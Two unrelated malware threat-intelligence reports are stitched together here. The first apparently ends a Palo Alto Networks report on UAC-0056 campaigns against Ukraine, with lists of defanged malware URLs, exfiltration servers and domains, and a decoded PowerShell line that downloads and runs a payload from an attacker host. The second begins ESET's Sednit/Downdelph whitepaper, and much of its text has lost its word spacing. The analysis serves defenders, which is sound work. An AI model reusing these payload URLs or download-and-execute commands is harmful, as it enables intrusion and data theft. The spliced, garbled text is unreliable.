]xyz/soft-2/280421-z1z.exe 1000018[.
]xyz/soft/220421.exe 1000020[.
]xyz/soft/230421.exe 1221[.
]site/15858415841/0407.exe 1221[.
]site/1806.exe 15052021[.
]space/2405.exe 150520212[.
]space/0404.exe 185.244.41[.
]109:8080/upld/ 1924[.
]site/soft/09042021.exe 194.147.142[.
]232:8080/upld/ 194.147.142[.
]232:8080/upld/ 2215[.
]site/240721-1.msi 31.42.185[.
]63:8080/upld/ 32689657[.
]xyz/putty5482.exe 32689658[.
]xyz/putty5410.exe 45.146.164[.
]37:8080/upld/ 45.146.165[.
]91:8080/upld/ 68468438438[.
]xyz/soft/win230321.exe 8003659902[.
]space/wp-adm/gate.php baiden00[.
]ru/def.bat baiden00[.
]ru/win21st.txt baiden00[.
]ru/wininst.exe bit[.
]ly/36fee98 bit[.
]ly/3qpy7Co cdn.discordapp[.
]com/attachments/853604584806285335/854020189522755604/1406.exe cdn.discordapp[.
]com/attachments/908281957039869965/908282786216017990/AdobeAcrobatUpdate.msi cdn.discordapp[.
]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe cdn.discordapp[.
]com/attachments/908281957039869965/911202801416282172/AdobeAcrobatReaderUpdate.exe cdn.discordapp[.
]com/attachments/908281957039869965/911383724971683862/21279102.exe cdn.discordapp[.
]com/attachments/932413459872747544/932976938195238952/loader.exe cdn.discordapp[.
]com/attachments/932413459872747544/938291977735266344/putty.exe eumr[.
]site/load4849kd30.exe eumr[.
]site/load74h74830.exe eumr[.
]site/up74987340.exe main21[.
]xyz/adm2021/gate.php mohge[.
]xyz/install.exe name1d[.
]site/123/index.exe name1d[.
]site/def02.bat name4050[.
]com:8080/upld/9C9C2F98 orpod[.
]ru/def.exe orpod[.
]ru/putty.exe smm2021[.
]net/load2022.exe smm2021[.
]net/upload/antidef.bat smm2021[.
]net/upload/Nvlaq.jpeg smm2021[.
]net/wp-adm/gate.php 19/30 stun[.
]site/42348728347829.exe update-0019992[.
]ru/testcp1/gate.php update0019992[.
]ru/exe/update-22.exe update0019992[.
]ru/gate.php update3d[.
]xyz/ webleads[.
]pro/public/readerdc_ua_install.exe www.baiden00[.
]ru/win21st.txt www.update0019992[.
]ru/exe/update-22.exe cdn.discordapp[.
]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe cutt[.
]ly/1bR6rsQ mohge[.
]xyz/install.exe mohge[.
]xyz/install.txt stun[.
]site/zepok101.exe superiortermpapers[.
]org/public/WindowsDefender-UA.exe Domains 000000027[.
]xyz 001000100[.
]xyz 1000018[.
]xyz 1000020[.
]xyz 1020[.
]site 1221[.
]site 15052021[.
]space 150520212[.
]space 1833[.
]site 1924[.
]site 2055[.
]site 2215[.
]site 2330[.
]site 3237[.
]site 32689657[.
]xyz 32689658[.
]xyz 68468438438[.
]xyz 8003659902[.
]site 8003659902[.
]space 9348243249382479234343284324023432748892349702394023[.
]xyz baiden00[.
]ru buking[.
]site coronavirus5g[.
]site eumr[.
]site main21[.
]xyz mohge[.
]xyz name1d[.
]site name4050[.
]com orpod[.
]ru smm2021[.
]net stun[.
]site update-0019992[.
]ru update0019992[.
]ru update3d[.
]xyz www.baiden00[.
]ru www.lywdm[.
]com www.update0019992[.
]ru IPv4 Addresses 20/30 185.244.41[.
]109 194.147.142[.
]232 31.42.185[.
]63 45.146.164[.
]37 45.146.165[.
]91 Additional Infrastructure 1000018[.
]xyz 1000019[.
]xyz 1000020[.
]xyz 1017[.
]site 1120[.
]site 1202[.
]site 1221[.
]site 15052021[.
]space 150520212[.
]space 150520213[.
]space 1681683130[.
]website 16868138130[.
]space 1833[.
]site 1924[.
]site 2055[.
]site 2215[.
]site 2330[.
]site 29572459487545-4543543-543534255-454-35432524-5243523-234543[.
]xyz 32689657[.
]xyz 32689658[.
]xyz 32689659[.
]xyz 33655990[.
]cyou 4895458025-4545445-222435-9635794543-3242314342-234123423728[.
]space 9832473219412342343423243242364-34939246823743287468793247237[.
]site 99996665550[.
]fun almamaterbook[.
]ru buking[.
]site getvps[.
]site giraffe-tour[.
]ru gosloto[.
]site name4050[.
]com noch[.
]website otrs[.
]website polk[.
]website sinoptik[.
]site sony-vaio[.
]ru Appendix A: Prior Attacks Associated With UAC-0056 Prior attacks associated with UAC-0056 are described below, organized by the time of attack.
For an overview of known attacks, please see the timeline in the Links to Prior Attacks section above.
March 2021 Attacks According to MalwareBytes research, this threat group carried out an attack campaign in March 2021 on targets in Georgia using Bitcoin and COVID themes.
The researchers state that these attacks involve spear phishing, but we do not have telemetry to confirm the targeted organizations, attack vector or the exact dates in which the attacks took place.
The Bitcoin- https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/ 21/30 themed attacks are very similar to those seen in later April attacks, as the PDF delivery documents had similar content that references Electrum bitcoin wallets, as seen in Figure 21.
Figure 21a.
Contents of PDF documents used in Bitcoin-themed attacks in March 2021.
22/30 Figure 21b.
Contents of PDF documents used in Bitcoin-themed attacks in March 2021.
The COVID-themed attacks reference a government organization in Georgia, which suggests that the threat group has interests in other countries in the region in addition to Ukraine.
The attack involved a Zip archive hosted at bgicovid19[.
]com/assets/img/newCOVID-21.zip and contains the two malicious files and one decoy document, as listed in Table 4.
Filename SHA256 Description COVID- 21.doc 4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70 Delivery document exploits CVE-2017-11882 to download www.baiden00[.
]ru/win21st.txt New Folder.lnk 5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b LNK Shortcut that downloads baiden00[.
]ru/wininst.exe letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf 49a758bfe34f1769a27b1a2da9f914bc956f7fdbb9e7a33534ca9e19d5f6168c Decoy document The letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf document is a decoy, as it contains no malicious content.
The decoy content does show a document from the Ministry of Labour, Health and Social Affairs of Georgia, as seen in Figure 22, which suggests that the target may have involved an organization in Georgia.
Table 4.
Delivery documents used in March attack.
23/30 Figure 22.
Decoy documents contents in suspected March 2021 attacks.
April 2021 Attacks In April 2021, the threat group carried out an attack that involved a spear phishing email with a PDF document attached, which suggested the recipient could become rich by accepting Bitcoins, as seen in Figure 23.
As first seen in research by Ahnlab, these Bitcoin-themed attacks were specifically targeting Ukrainian government organizations.
Figure 23.
Contents of PDF documents used in Bitcoin-themed attacks.
The PDF document attached to the delivery email contains text that suggests the individual can access a Bitcoin wallet with a large sum of money along with a link to download the wallet, as seen in Figure 24.
The link cutt[.
]ly/McXG1ft is shortened and points to the URL http://1924[.
]site/doc/bitcoin.zip to download a Zip archive.
https://asec.ahnlab.com/en/22481/ 24/30 Figure 24.
Contents of PDF documents used in Bitcoin-themed attacks.
The Zip archive contains a LNK shortcut that runs a powershell script to download and execute a payload from hxxp://1924[.
]site/soft/09042021.exe.
The archive also contains a password.txt file that has the following contents, which involve an Electrum Bitcoin wallet that links back to the attacks against Ukraine on Feb. 1, 2022: Wallet in folder.
Electrum: https://electrum.org Password for walletr is: btc1000000000usd According to Fortinet research, in April 2021, this threat group also carried out COVID-themed attacks on Ukrainian government organizations.
The email seen in Figure 25 includes a fake forwarded message meant to appear as correspondence between a government official and the World Health Organization (WHO).
The email contains a link to a Zip archive hosted on the legitimate who.int domain.
However, the link points to a shortened link of hxxps://cutt[.
]ly/LcHx2Ga instead.
https://www.fortinet.com/blog/threat-research/spearphishing-attack-uses-covid-21-lure-to-target-ukrainian-government 25/30 Figure 25.
Delivery email in COVID-themed attacks.
The hxxps://cutt[.
]ly/LcHx2Ga URL points to hxxp://2330[.
]site/NewCovid-21.zip, which hosted a Zip archive (SHA256: 677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc) that contained the following files: COVID-21.doc (SHA256: 9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a) COVID-21.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d) GEO-CFUND-2009_CCM Agreement_Facesheet - signed.pdf (SHA256: bbab12dc486b1c6fcf9e343ec1474d0f8967de988444d7f838f1b4dcab343e8a) New Folder.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d) The LNK shortcuts attempt to run a PowerShell script that will download an executable from the following URL, save it to TEMP\WindowsUpdate.exe and execute it: hxxp://2330[.
]site/soft/08042021.exe The LNK shortcut downloads the executable from the URL above using the Start-BitsTransfer cmdlet, which is the same technique the threat group used to download the payload within the macro in the July 2021 attacks discussed below.
May 2021 Attacks 26/30 In May 2021, we saw the threat group sending targeted emails sent to two Ukrainian government organizations.
The two emails had subjects of  4872823 and  487223/2, and both had the same message content that suggested the email was from a senior investigator trying to contact the individual, as seen in Figure 26.
The use of law enforcement related themes across May and June 2021, as well as in February 2022, suggests that the threat group favors this social engineering theme in the absence of a trending topic or current event.
Figure 26.
Spear phishing email sent to Ukrainian government organizations in May 2021.
Both of the delivery emails had the same attachment, specifically  4872823-(20).cpl (SHA256: f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8), which is a Windows Control Panel File that acts as an initial downloader to download and execute a payload from: 32689657[.
]xyz/putty5482.exe The Control Panel File saves the downloaded executable to PUBLIC\puttys.exe and runs it using the WinExec function.
The resulting executable (SHA256: df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3) eventually runs the OutSteel document stealer, which will exfiltrate files to the following URL: hxxp://194[.
]147.142.232/upld/ June 2021 Attacks In June 2021, we observed this threat group targeting another Ukrainian government organization by sending a spear phishing email with a subject that translates to Your arrest warrant from Ukrainian.
The content of this email, seen in Figure 27, includes urgent language suggesting that the recipient must read the attached report or they will be declared wanted.
This law enforcement theme relates to the Feb. 1, 2022, attacks that used a supposed police report as part of social engineering.
27/30 Figure 27.
Spear phishing email sent to Ukrainian government organization in June 2021.
The attachment is not a report as the body of the email suggests.
Rather, the  487223-31.doc (880m5) .js file attached is a JavaScript file that is 1,029,786 bytes in size (the actors added a considerable amount of spaces between each character of the JavaScript code).
If the recipient opens the attachment, the following JavaScript will execute: Figure 28.
Malicious JavaScript contained in attached file.
The JavaScript above will run an encoded PowerShell script that decodes to the following: invOKe-WeBREqUEST -urI hxxp://150520212[.
]space/000.cpl -oUtFILE ENv:PuBLiC\000.cpl  eNV:PUBlIc\000.cpl This PowerShell script will download and execute a Control Panel File (CPL) from 150520212[.
]space, which it saves to a file named 000.cpl (SHA256: b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939).
The 000.cpl is a DLL whose functional code exists within the exported function CPlApplet.
The functional code uses several consecutive jumps in an attempt to make code analysis more difficult.
Despite these jumps, the functional code starts with a decryption stub, which will XOR each QWORD in the ciphertext using a key that starts as 0x29050D91.
However, in each iteration of the decryption loop, the key is modified by multiplying it by 0x749507B5 and adding 0x29050D91.
Once the decryption stub has finished, the code jumps to the decrypted code, which is a shellcode-based downloader that carries out the following activity: 28/30 1.
Loads kernel32 using LoadLibraryW 2.
Gets the address to ExpandEnvironmentStringsW using GetProcAddress 3.
Calls ExpandEnvironmentStringsA to expand the environment string for the path PUBLIC\5653YQ5T3.exe 4.
Opens the PUBLIC\5653YQ5T3.exe file using CreateFileW 5.
Loads WinHttp using LoadLibraryA 6.
Opens an HTTP session by calling WinHttpOpen 7.
Connects to remote server 150520212[.
]space over port 80/TCP by calling WinHttpConnect 8.
Creates an HTTP GET request for /0404.exe using WinHttpOpenRequest 9.
Sends the request via WinHttpSendRequest 10.
Calls WinHttpReceiveResponse, WinHttpQueryDataAvailable and WinHttpReadData to get the HTTP response data 11.
Writes the response data to PUBLIC\5653YQ5T3.exe by calling WriteFile 12.
Closes handle to PUBLIC\5653YQ5T3.exe by calling CloseHandle 13.
Runs PUBLIC\5653YQ5T3.exe by calling ShellExecuteW 14.
Finishes by calling ExitProcess The file hosted at 150520212[.
]space/0404.exe (SHA256: cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1) is an OutSteel sample that gathers and exfiltrates files to http://45[.]146.164.37/upld/.
July 2021 Targeting On July 22, 2021, we observed a spear phishing attempt in which the threat group targeted a Western government entity in Ukraine.
The actors sent the email to an address publicly displayed on the embassys website with the subject RE: CV.
The email had a Word document attached to it with a filename structured as first name_last name_CV.doc, of which the name was a well-known journalist in Ukraine.
Figure 29 shows the contents of the attached document as it would display in a native Ukrainian installation of Windows.
29/30 Figure 29.
Contents of delivery document used in July 2021 attacks on an embassy in Kyiv.
The content of the document is meant to resemble a resume of the journalist.
However, the garbled text suggests an encoding issue that the Ukrainian version of Windows could not display.
The image is a stock photo available at several websites [1][2][3], which does not appear to be a picture of the actual journalist.
The garbled text is likely intentional as an attempt to trick the user into clicking the Enable Editing button, which would ultimately run the macro embedded in the document.
The macro that will run if the user clicks the Enable Editing button, seen in Figure 30, creates a batch script called meancell.bat that executes a PowerShell command that will use the Start-BitsTransfer cmdlet to download a payload from hxxp://1833[.
]site/kpd1974.exe.
It then saves it to and executes everylisten.exe.
Figure 30 shows the contents of the macro found in this delivery document.
Figure 30.
Contents of macro in delivery document.
The kpd1974.exe file (SHA256: b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43) downloaded and executed by the macro ultimately runs a variant of the OutSteel document harvesting tool that exfiltrates files to hxxp://45.146.165[.]91:8080/upld/.
We found two additional delivery documents that shared a similar macro and hosted https://www.shutterstock.com/image-photo/work-confidence-waist-portrait-smiling-woman-1284691177 https://stock.adobe.com/images/One-female-specialists-staying-on-work-office/243123332 http://www.apimages.com/metadata/MSIndex/One-female-specialists-staying-on-work-office/243123332/517 30/30 the payload on the 1833[.
]site, as seen in Table 5.
One of the filenames of these two related documents suggest that the threat group continued to use the fake resume theme.
First Seen Filename Download URL 7/23/2021 i (22-7-2021).doc hxxp://1833[.
]site/gp00973.exe 7/23/2021 CV_RUSLANA.doc hxxp://1833[.
]site/rsm1975.exe Get updates from Palo Alto Networks Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
Table 5.
Related delivery documents used in July attack.
https://www.paloaltonetworks.com/legal-notices/terms-of-use https://www.paloaltonetworks.com/legal-notices/privacy
En Route with Part 3: A Mysterious Downloader Version 1.0  October2016 En Route with Sednit Part 3: A Mysterious Downloader Version 1.0  October2016 TAblE of ConTEnT Executive Summary 5 Introduction 6 TheSednitGroup 6 TheThirdPartoftheTrilogy 7 Attribution 8 PublicationStrategy 8 Downdelph 9 Identikit 9 Timeline 10 Deployment 11 Core Behavior 12 PersistenceMechanisms 15 Conclusion and open Questions 24 Indicators of Compromise 25 Downdelph 25 References 26 lIST of fIguRES Figure 1.
Timelineof0-dayvulnerabilitiesexploitedbytheSednitgroupin2015.
6 Figure 2.
MainattackmethodsandmalwareusedbytheSednitgroupsince2014, andhowtheyarerelated 7 Figure3.
Downdelphmajorevents 10 Figure 4.
Downdelphdeployments,withthepurposeandnameofeachfile 11 Figure 5.
DecoydocumentusedinCase7(September2015) 12 Figure 6.
Downdelphcommunicationworkflow 13 Figure 7.
Downdelphrequesttodownloadmainconfigurationfile 14 Figure 8.
Beginningofinfectedharddrivelayout 16 Figure 9.
MBRopeningcode,asseeninadecompiler 17 Figure 10.
StartupprocessofaWindows7machineinfectedbythebootkit 18 Figure 11.
HookcodeinACPI.sysresourcessection(.rsrc) 19 Figure 12.
UsermodebootkitcomponentattemptstosetanexportedBooleanvariable inDowndelph,afterhavingloadedit 20 Figure 13.
HookcodeforZwSetInformationFiletohidefiles 22 Figure 14.
PreoperationcallbackforIRP_MJ_CREATE (thecreationoropeningoffilesanddirectories) 23 Figure 15.
KernelmodeAPCregistration,FN_ApcNormalRoutinebeingtheshellcode addressinthetargetprocess 23 lIST of TAblES Table 1.
Downdelphmainconfigurationfileextended.ini 14 Table 2.
Downdelphserverconfigurationfilepinlt.ini 15 En Route with Sednit 5 ExECuTIvE SuMMARy TheSednitgroupalsoknownasAPT28,FancyBearandSofacyisagroupofattackers operatingsince2004ifnotearlierandwhosemainobjectiveistostealconfidentialinformation fromspecifictargets.
ThisisthethirdpartofourwhitepaperEnRoutewithSednit,whichcoverstheSednitgroup activitiessince2014.Here,wedescribeaspecialdownloadernamedDowndelph.
Thekeypointsdescribedinthisthirdinstallmentarethefollowing: Downdelphwasusedonlyseventimesoverthepasttwoyears,accordingtoourtelemetry data:webelievethistobeadeliberatestrategyformulatedinordertoavoidattracting attention Downdelphhasbeendeployedonafewoccasionswithanever-previously-documented Windowsbootkit,whichsharessomecodewiththeinfamousBlackEnergymalware Downdelphhasbeendeployedonafewoccasionswithapreviouslyundocumented Windowsrootkit Foranyinquiriesrelatedtothiswhitepaper,contactusat:threatinteleset.com mailto:threatinteleset.com En Route with Sednit 6 InTRoDuCTIon Readers who have already read the first parts of our Sednit trilogy might want to skip the following section and go directly to the specific introduction of this third part.
The Sednit Group TheSednitgroupvariouslyalsoknownasAPT28,FancyBear,Sofacy,PawnStorm,STRONTIUM andTsarTeamisagroupofattackersoperatingsince2004ifnotearlier,whosemainobjective istostealconfidentialinformationfromspecifictargets.
Overthepasttwoyears,thisgroupsactivity hasincreasedsignificantly,withnumerousattacksagainstgovernmentdepartmentsandembassies allovertheworld.
AmongtheirmostnotablepresumedtargetsaretheAmericanDemocraticNationalCommittee[1], theGermanparliament[2]andtheFrenchtelevisionnetworkTV5Monde[3].Moreover,theSednit grouphasaspecialinterestinEasternEurope,whereitregularlytargetsindividualsandorganizations involvedingeopolitics.
OneofthestrikingcharacteristicsoftheSednitgroupisitsabilitytocomeupwithbrand-new0-day[4] vulnerabilitiesregularly.
In2015,thegroupexploitednofewerthansix0-dayvulnerabilities,asshown in Figure 1.
Figure 1.
Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015.
Thishighnumberof0-dayexploitssuggestssignificantresourcesavailabletotheSednitgroup, eitherbecausethegroupmembershavetheskillsandtimetofindandweaponizethesevulnerabilities, orbecausetheyhavethebudgettopurchasetheexploits.
Also,overtheyearstheSednitgrouphasdevelopedalargesoftwareecosystemtoperformitsespionage activities.
Thediversityofthisecosystemisquiteremarkableitincludesdozensofcustomprograms, withmanyofthembeingtechnicallyadvanced,liketheXagent and Sedrecomodularbackdoors (describedinthesecondpartofthiswhitepaper),ortheDowndelphbootkitandrootkit(described inthethirdpartofthiswhitepaper).
WepresenttheresultsofESETstwo-yearpursuitoftheSednitgroup,duringwhichweuncovered andanalyzedmanyoftheiroperations.
Wesplitourpublicationintothreeindependentparts: 1.
Part 1: Approaching the TargetdescribesthekindsoftargetstheSednitgroupisafter,andthe methodsusedtoattackthem.
Italsocontainsadetailedanalysisofthegroupsmost-used reconnaissancemalware.
2.
Part 2: Observing the Comings and Goingsdescribestheespionagetoolkitdeployedonsome targetcomputers,plusacustomnetworktoolusedtopivotwithinthecompromised organizations.
CVE-2015-2424 Oce RCE CVE-2015-3043 Flash CVE-2015-1701 Windows LPE CVE-2015-2590 Java CVE-2015-4902 Java click-to-play bypass CVE-2015-7645 Flash APR MAY JUN JUL AUG SEP OCT En Route with Sednit 7 3.
Part 3: A Mysterious DownloaderdescribesasurprisingoperationrunbytheSednitgroup, duringwhichalightweightDelphidownloaderwasdeployedwithadvancedpersistence methods,includingbothabootkitandarootkit.
Eachofthesepartscomeswiththerelatedindicatorsofcompromise.
The Third Part of the Trilogy Figure 2showsthemaincomponentsthattheSednitgrouphasusedoverthelasttwoyears, withtheirinterrelationships.
Itshouldnotbeconsideredasacompleterepresentationoftheirarsenal, whichalsoincludesnumeroussmall,customtools.
Figure 2.
Main attack methods and malware used by the Sednit group since 2014, and how they are related WedivideSednitssoftwareintothreecategories:thefirst-stagesoftwareservesforreconnaissance ofanewlycompromisedhost,thencomesthesecond-stagesoftwareintendedtospyonmachines deemedinteresting,whilethepivotsoftwarefinallyallowstheoperatorstoreachothercomputers.
In this third part,wedescribethefirst-stagesoftwarenamedDowndelph,outlinedinFigure 2.
ThissoftwarewasdeployedonlyseventimesbytheSednitoperators,accordingtoourtelemetry data.
Interestingly,someofthesedeploymentsweremadewithadvancedpersistencemethods: aWindowsbootkitandaWindowsrootkit.
AllthecomponentsshowninFigure 2aredescribedinthiswhitepaper, withtheexceptionofusbstealer,atooltoexfiltratedatafromair-gapped machinesthatwehavealreadydescribedatWeLiveSecurity[5].Recent versionshavebeendocumentedbyKasperskyLabs[6]aswell.
Readers who have already read the first parts of our Sednit trilogy may skip the following sections and go directly to Downdelphs analysis.
FIRST-STAGE MALWARE ATTACK METHODS SECOND-STAGE MALWARE PIVOT MALWARE Fake webmail login panels Sedkit Seduploader dropper Seduploader payload Downdelph Usbstealer Xtunnel Xagent Email attachments Sedreco dropper Sedreco payload En Route with Sednit Part 1 En Route with Sednit Part 2 En Route with Sednit Part 3 En Route with Sednit 8 Attribution Onemightexpectthisreferencewhitepapertoaddnewinformationaboutattribution.
Alothas beensaidtolinktheSednitgrouptosomeRussianentities[7],andwedonotintendtoaddanything tothisdiscussion.
Performingattributioninaserious,scientificmannerisahardproblemthatisoutofscope ofESETsmission.
Assecurityresearchers,whatwecalltheSednitgroupismerelyasetofsoftware andtherelatednetworkinfrastructure,whichwecanhardlycorrelatewithanyspecificorganization.
Nevertheless,ourintensiveinvestigationoftheSednitgrouphasallowedustocollectnumerous indicatorsofthelanguagespokenbyitsdevelopersandoperators,aswellastheirareasofinterest, aswewillexplaininthiswhitepaper.
Publication Strategy Beforeenteringthecorecontentofthiswhitepaper,wewouldliketodiscussourpublication strategy.
Indeed,assecurityresearchers,twoquestionswealwaysfinddifficulttoanswerwhen wewriteaboutanespionagegrouparewhen to publish?,andhow to make our publication useful to those tasked with defending against such attacks?.
TherewereseveraldetailedreportsontheSednitgrouppublishedin2014,liketheOperationPawn StormreportfromTrendMicro[8]andtheAPT28reportfromFireEye[9].Butsincethenthepublic informationregardingthisgrouphasmainlycameintheformofblogpostsdescribingspecific componentsorattacks.
Inotherwords,nopublicattemptshavebeenmadetopresent thebigpictureontheSednitgroupsince2014.
Meanwhile,theSednitgroupsactivityhassignificantlyincreased,anditsarsenaldiffers fromthosedescribedinpreviouswhitepapers.
Therefore,ourintentionhereistoprovideadetailedpictureoftheSednitgroupsactivities overthepasttwoyears.
Ofcourse,wehaveonlypartialvisibilityintothoseactivities,butwebelieve thatwepossessenoughinformationtodrawarepresentativepicture,whichshouldinparticular helpdefenderstohandleSednitcompromises.
Wetriedtofollowafewprinciplesinordertomakeourwhitepaperusefultothevarioustypes ofreaders: Keep it readable:whileweprovidedetailedtechnicaldescriptions,wehavetriedtomake themreadable,withoutsacrificingprecision.
Forthisreasonwedecidedtosplitourwhitepaper intothreeindependentparts,inordertomakesuchalargeamountofinformationeasily digestible.
Wealsohaverefrainedfrommixingindicatorsofcompromisewiththetext.
Help the defenders:weprovideindicatorsofcompromise(IOC)tohelpdetectcurrentSednit infections,andwegroupthemintheIOCsectionandonESETsGitHubaccount[10].Hence, thereaderinterestedonlyintheseIOCscangostraighttothem,andfindmorecontext inthewhitepaperafterwards.
Reference previous work:ahighprofilegroupsuchasSednitistrackedbynumerous entities.
Aswithanyresearchwork,ourinvestigationstandsontheshouldersoftheprevious publications.
Wehavereferencedthemappropriately,tothebestofourknowledge.
Document also what we do not understand:westillhavenumerousopenquestions regardingSednit,andwehighlighttheminourtext.
Wehopethiswillencouragefellow malwareresearcherstohelpcompletethepuzzle.
Wedidourbesttofollowtheseprinciples,buttheremaybecaseswherewemissedouraim.
Weencouragereaderstoprovidefeedbackatthreatinteleset.com,andwewillupdate thewhitepaperaccordingly.
mailto:threatinteleset.com En Route with Sednit 9 DownDElPh Identikit Downdelph is a lightweight downloader developed in the Delphi programming language Alternative Names DelPHAcy Usage Downdelphisafirst-stagecomponentdeployedonlyinveryrare casesbytheSednitoperators.
Overthepasttwoyearsthislow- profileapproachhasbeencombinedwithadvancedpersistence methodsabootkitandarootkitprobablyinordertospy onspecialtargetsforlongperiodsoftime.
Downdelphwasused todeployXagent and Sedrecooninfectedmachines.
Known period of activity November2013toSeptember2015.
Known deployment methods Targetedphishingemails Distinguishing characteristics DowndelphwasdeployedwithaWindowsbootkitinfecting theMasterBootRecord(MBR).Tothebestofourknowledge, thebootkithasnotbeenpreviouslydocumented.
Interestingly, thisbootkitsharessomecodewithsomeearliersamples oftheinfamousBlackEnergymalware[11].
DowndelphwasdeployedwithaWindowsrootkitnamed HIDEDRVbyitsdevelopers.
Tothebestofourknowledge, therootkithasnotbeenpreviouslydocumented.
OneDowndelphCCserver,intelmeserver.com,wasactive fornearlytwoyears,fromNovember2013toAugust2015, andiscurrentlysinkholedbyKasperskyLabs.
En Route with Sednit 10 Timeline ThedatespresentedinthistimelinerefertowhenwebelieveDowndelphwasdeployedwith aspecificpersistencemethod,possiblyagainstseveraldifferenttargets,andarebasedonESETs LiveGrid[12]telemetrydata.
Figure 3.
Downdelph major events Asshowninthetimeline,Downdelphoperatorsabandonedmorecomplex persistencemethodsovertime,probablyduetonewsecurityfeaturesintro- ducedinWindows.
2013 November Oldest observed Downdelph deploy- ment.
Persistence is ensured by a bootkit infecting the Master Boot Record (MBR) of the hard drive (labeled Case 1 in Figure 3).
2014 February Three Downdelph deployments.
Persis- tence is ensured by a kernel mode rootkit installed as a Windows service (Cases 2, 3 and 4).
2014 March Downdelph deploy- ment.
Persistence is ensured by a bootkit infecting the MBR of the hard drive (Case 5).
2015 September Most recently observed Downdelph deploy- ment.
Persistence is ensured by registering an auto-start entry in the Windows Registry (Case 7).
2014 May Downdelph deploy- ment.
Persistence is ensured by registering an auto-start entry in the Windows Registry (Case 6).
bootkit bootkit kernelmoderootkit En Route with Sednit 11 Deployment Asmentionedinthetimeline,wewereabletofindonlysevendeploymentsofDowndelph.
Suchdeploymentsstartwithadropper,whichcontainsDowndelphandsomeadditionalbinaries, asdepictedinFigure 4.
Figure 4.
Downdelph deployments, with the purpose and name of each file Rootkit (FsFlt.sys) Downdelph (x32.exe) Rootkit (FsFlt.sys) Helper (dnshlp.dll) Downdelph (dnscli1.dll) Case 3 Dropper (serviceinstallx32.exe) UAC bypass Helper (explorer_install_shell.exe) Downdelph (userinit.exe) Decoy document (EU_Eastern_ Europe_agenda_ BA_3_Nov_2015.pdf) Cleaner (ose000000.exe) Helper (winUproll.exe) Case 1 Dropper (unknown name) Helper (kb0004542.exe) Bootkit installer (bk.exe) Cleaner (ose000000.exe) Downdelph (shcore.dll) Case 5 Dropper (syscfg.exe) UAC bypass Helper (inst32.exe) Bootkit installer (bk.exe) Downdelph (install_com_x32_LL_full.dll) Bootkit-based persistence Case 2 Dropper (WinXP1.exe) Case 4 Dropper (serviceinstall.exe) UAC bypass Rootkit (FsFlt.sys) Downdelph (dnscli1.dll) Rootkit-based persistence Case 6 Dropper (fs6na.exe) UAC bypass Case 7 Dropper (EU_Eastern_ Europe_agenda_ BA_3_Nov_2015.pif) Downdelph (apisvcd.dll) Registry-based persistence Files shown in the same color serve the same purpose En Route with Sednit 12 InCases3to6,thedeployedbinariesusedaUserAccountControl(UAC)bypasstechnique,asmentioned in Figure4.TwodifferentUACbypasstechniqueswereemployedthefirstonerelyingonacustom RedirectEXEshimdatabase[13],whilethesecondoneisbasedonaDLLloadorderhijackingofthe Windowsexecutablesysprep.exe,whichpossessesthepropertytoauto-elevateitsprivileges[14].
InCase7,thedropperwasdeployedthroughatargetedphishingemail.
Wedonothaveanyevidence ofthisdeploymentmethodfortheothercases.
Inthisparticularcase,thedropperopensadecoy documentwhenexecuted,toreinforcetheillusiontheemailwaslegitimate.
Figure 5showsthis decoydocument,aninvitationtoaconferenceorganizedbytheSlovakForeignPolicyAssociation inNovember2015regardingRussia-Ukrainerelations[15].
Figure 5.
Decoy document used in case 7 (September 2015) core Behavior DowndelphscorelogicisimplementedinoneDelphiclass,namedTMyDownloaderbyitsdevelopers, andremainedthesameinallsamplesweanalyzed.
Roughlysummarized,Downdelphfirstdownloads amainconfigurationfile,whichallowsextendingthelistofCCservers,andthenfetchesapayload fromeachoftheseCCservers.
En Route with Sednit 13 ThewholeprocessispicturedinFigure 6,andisdetailedthereafterforthemostrecentDowndelph sampleknown(Case7inFigure4).
Figure 6.
Downdelph communication workflow Download payload from initial CC server Download payload from additional CC server 1 Download payload from additional CC server 2 [...] Downdelph infected computer Initial CC server Additional CC server 1 Additional CC server 2 Fetches main configuration file (extended.ini) Sends machine ID Fetches server configuration file (pinlt.ini) Downloads payload Sends machine ID Fetches server configuration file (pinlt.ini) Downloads payload Sends machine ID Fetches server configuration file (pinlt.ini) Downloads payload En Route with Sednit 14 extend ccservers list First,Downdelphdownloadsamainconfigurationfilenamedextended.inifromtheinitial CCserver,whoseaddressishardcodedinthebinary.
ThenetworkrequestisanHTTP POSTwith aURIcontainingthefilenametofetchencodedwithacustomalgorithm,aspicturedinFigure 7.
Figure 7.
Downdelph request to download main configuration file TheencodingalgorithmwasdesignedtomakewritingsignaturesonDown- delphnetworkrequestsdifficult.
Todoso,pseudo-randomlygenerated charactersareinsertedbetweeneachoriginalcharacterduringtheencoding, suchthatthesameinputtextwillbeencodeddifferentlyeachtime.
TheresponsefromtheserverisanRC4-encryptedconfigurationfilefollowingtheINIformat[16], andcomposedofasinglesectionnamed[options],whichcontainsthekey-valuepairsdescribed in Table 1.
Table 1.
